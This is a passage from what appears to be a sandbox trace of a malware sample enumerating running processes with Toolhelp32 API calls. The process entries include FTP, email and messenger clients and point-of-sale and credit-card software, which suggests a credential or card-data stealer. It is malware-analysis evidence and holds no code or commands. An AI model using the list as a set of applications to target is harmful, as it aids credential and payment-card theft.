lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0281.904] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0281.906] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0281.907] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0281.957] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0281.959] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0281.960] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0281.962] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0281.964] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0281.965] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0281.967] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0281.968] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0281.970] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0281.971] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0281.973] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0281.975] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0281.976] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0281.978] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0281.979] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0281.981] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0281.983] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0281.984] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0281.986] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0281.988] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0281.989] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0281.991] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0281.992] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0281.994] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0281.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0282.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0282.002] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0282.052] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0282.055] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0282.057] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0282.059] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0282.061] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0282.063] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0282.065] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0282.067] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0282.070] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0282.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0282.074] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0282.076] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0282.078] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0282.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0282.082] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0282.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0282.086] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0282.088] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0282.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0282.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0282.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0282.096] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0282.146] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0282.148] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0282.150] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0282.152] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0282.154] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0282.156] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0282.158] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0282.160] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0282.161] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0282.163] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0282.165] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0282.167] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0282.168] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0282.170] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0282.172] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0282.174] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0282.176] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0282.177] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0282.179] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0282.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0282.182] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0282.184] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0282.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0282.188] CloseHandle (hObject=0x344) returned 1 [0282.188] Sleep (dwMilliseconds=0x64) [0282.270] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0282.284] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0282.286] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0282.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0282.290] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.292] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0282.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0282.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0282.297] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0282.299] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, 